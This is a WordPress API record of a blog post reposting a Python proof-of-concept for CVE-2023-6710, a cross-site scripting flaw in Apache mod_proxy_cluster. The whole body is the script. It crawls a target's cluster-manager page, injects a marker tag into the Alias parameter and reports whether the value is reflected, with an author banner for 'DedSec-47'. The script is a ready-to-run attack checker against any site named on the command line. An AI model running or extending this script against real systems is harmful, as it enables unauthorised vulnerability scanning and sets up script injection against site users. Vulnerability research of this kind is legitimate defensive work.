{"id":56835,"date":"2024-05-14T19:50:22","date_gmt":"2024-05-14T15:50:22","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178561\/apachempc-xss.txt"},"modified":"2024-05-14T19:50:22","modified_gmt":"2024-05-14T15:50:22","slug":"apache-mod_proxy_cluster-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/apache-mod_proxy_cluster-cross-site-scripting\/","title":{"rendered":"Apache mod_proxy_cluster Cross Site Scripting"},"content":{"rendered":"<p>import requests<br \/>import argparse<br \/>from bs4 import BeautifulSoup<br \/>from urllib.parse import urlparse, parse_qs, urlencode, urlunparse<br \/>from requests.exceptions import RequestException<\/p>\n<p>class Colors:<br \/>RED = &#8216;\\033[91m&#8217;<br \/>GREEN = &#8216;\\033[1;49;92m&#8217;<br \/>RESET = &#8216;\\033[0m&#8217;<\/p>\n<p>def get_cluster_manager_url(base_url, path):<br \/>print(Colors.GREEN + f&#8221;Preparing the groundwork for the exploitation on {base_url}&#8230;&#8221; + Colors.RESET)<br \/>try:<br \/>response = requests.get(base_url + path)<br \/>response.raise_for_status()<br \/>except requests.exceptions.RequestException as e:<br \/>print(Colors.RED + f&#8221;Error: {e}&#8221; + Colors.RESET)<br \/>return None<\/p>\n<p>print(Colors.GREEN + f&#8221;Starting exploit check on {base_url}&#8230;&#8221; + Colors.RESET)<\/p>\n<p>if response.status_code == 200:<br \/>print(Colors.GREEN + f&#8221;Check executed successfully on {base_url}&#8230;&#8221; + Colors.RESET)<br \/># Use BeautifulSoup to parse the HTML content<br \/>soup = BeautifulSoup(response.text, &#8216;html.parser&#8217;)<\/p>\n<p># Find all &#8216;a&#8217; tags with &#8216;href&#8217; attribute<br \/>all_links = soup.find_all(&#8216;a&#8217;, href=True)<\/p>\n<p># Search for the link containing the Alias parameter in the href attribute<br \/>cluster_manager_url = None<br \/>for link in all_links:<br \/>parsed_url = urlparse(link[&#8216;href&#8217;])<br \/>query_params = parse_qs(parsed_url.query)<br \/>alias_value = query_params.get(&#8216;Alias&#8217;, [None])[0]\n<p>if alias_value:<br \/>print(Colors.GREEN + f&#8221;Alias value found&#8221; + Colors.RESET)<br \/>cluster_manager_url = link[&#8216;href&#8217;]break<\/p>\n<p>if cluster_manager_url:<br \/>print(Colors.GREEN + f&#8221;Preparing the injection on {base_url}&#8230;&#8221; + Colors.RESET)<br \/>return cluster_manager_url<br \/>else:<br \/>print(Colors.RED + f&#8221;Error: Alias value not found on {base_url}&#8230;&#8221; + Colors.RESET)<br \/>return None<\/p>\n<p>print(Colors.RED + f&#8221;Error: Unable to get the initial step on {base_url}&#8221;)<br \/>return None<\/p>\n<p>def update_alias_value(url):<br \/>parsed_url = urlparse(url)<br \/>query_params = parse_qs(parsed_url.query, keep_blank_values=True)<br \/>query_params[&#8216;Alias&#8217;] = [&#8220;&lt;DedSec-47&gt;&#8221;]updated_url = urlunparse(parsed_url._replace(query=urlencode(query_params, doseq=True)))<br \/>print(Colors.GREEN + f&#8221;Injection executed successfully on {updated_url}&#8221; + Colors.RESET)<br \/>return updated_url<\/p>\n<p>def check_response_for_value(url, check_value):<br \/>response = requests.get(url)<br \/>if check_value in response.text:<br \/>print(Colors.RED + &#8220;Website is vulnerable POC by :&#8221;)<br \/>print(Colors.GREEN + &#8220;&#8221;&#8221;<br \/>____ _ ____ _ _ _____ <br \/>| _ \\ ___ __| \/ ___| ___ ___ | || |___ |<br \/>| | | |\/ _ \\\/ _` \\___ \\ \/ _ \\\/ __| ____| || | \/ \/ <br \/>| |_| | __\/ (_| |___) | __\/ (_ |____|__ | \/ \/ <br \/>|____\/ \\___|\\__,_|____\/ \\___|\\___| |_|\/_\/ <br \/>github.com\/DedSec-47 &#8220;&#8221;&#8221;)<br \/>else:<br \/>print(Colors.GREEN + &#8220;Website is not vulnerable POC by :&#8221;)<br \/>print(Colors.GREEN + &#8220;&#8221;&#8221;<br \/>____ _ ____ _ _ _____ <br \/>| _ \\ ___ __| \/ ___| ___ ___ | || |___ |<br \/>| | | |\/ _ \\\/ _` \\___ \\ \/ _ \\\/ __| ____| || | \/ \/ <br \/>| |_| | __\/ (_| |___) | __\/ (_ |____|__ | \/ \/ <br \/>|____\/ \\___|\\__,_|____\/ \\___|\\___| |_|\/_\/ <br \/>github.com\/DedSec-47 &#8220;&#8221;&#8221;)<\/p>\n<p>def main():<br \/># Create a command-line argument parser<br \/>parser = argparse.ArgumentParser(description=&#8221;python CVE-2023-6710.py -t https:\/\/example.com -u \/cluster-manager&#8221;)<\/p>\n<p># Add a command-line argument for the target (-t\/&#8211;target)<br \/>parser.add_argument(&#8216;-t&#8217;, &#8216;&#8211;target&#8217;, help=&#8217;Target domain (e.g., https:\/\/example.com)&#8217;, required=True)<\/p>\n<p># Add a command-line argument for the URL path (-u\/&#8211;url)<br \/>parser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;url&#8217;, help=&#8217;URL path (e.g., \/cluster-manager)&#8217;, required=True)<\/p>\n<p># Parse the command-line arguments<br \/>args = parser.parse_args()<\/p>\n<p># Get the cluster manager URL from the specified website<br \/>cluster_manager_url = get_cluster_manager_url(args.target, args.url)<\/p>\n<p># Check if the cluster manager URL is found<br \/>if cluster_manager_url:<br \/># Modify the URL by adding the cluster manager value<br \/>modified_url = args.target + cluster_manager_url<br \/>modified_url = update_alias_value(args.target + cluster_manager_url)<br \/>print(Colors.GREEN + &#8220;Check executed successfully&#8221; + Colors.RESET)<\/p>\n<p># Check the response for the value &#8220;&lt;DedSec-47&gt;&#8221;<br \/>check_response_for_value(modified_url, &#8220;&lt;DedSec-47&gt;&#8221;)<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>main()<\/p>\n","protected":false},"excerpt":{"rendered":"<p>import requestsimport argparsefrom bs4 import BeautifulSoupfrom urllib.parse import urlparse, parse_qs, urlencode, urlunparsefrom requests.exceptions import RequestException class Colors:RED = &#8216;\\033[91m&#8217;GREEN = &#8216;\\033[1;49;92m&#8217;RESET = &#8216;\\033[0m&#8217; def get_cluster_manager_url(base_url, path):print(Colors.GREEN + f&#8221;Preparing the groundwork for the exploitation on {base_url}&#8230;&#8221; + Colors.RESET)try:response = requests.get(base_url + path)response.raise_for_status()except requests.exceptions.RequestException as e:print(Colors.RED + f&#8221;Error: {e}&#8221; + Colors.RESET)return None print(Colors.GREEN + f&#8221;Starting exploit check &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56835","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56835","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56835"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56835\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56835"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56835"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56835"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}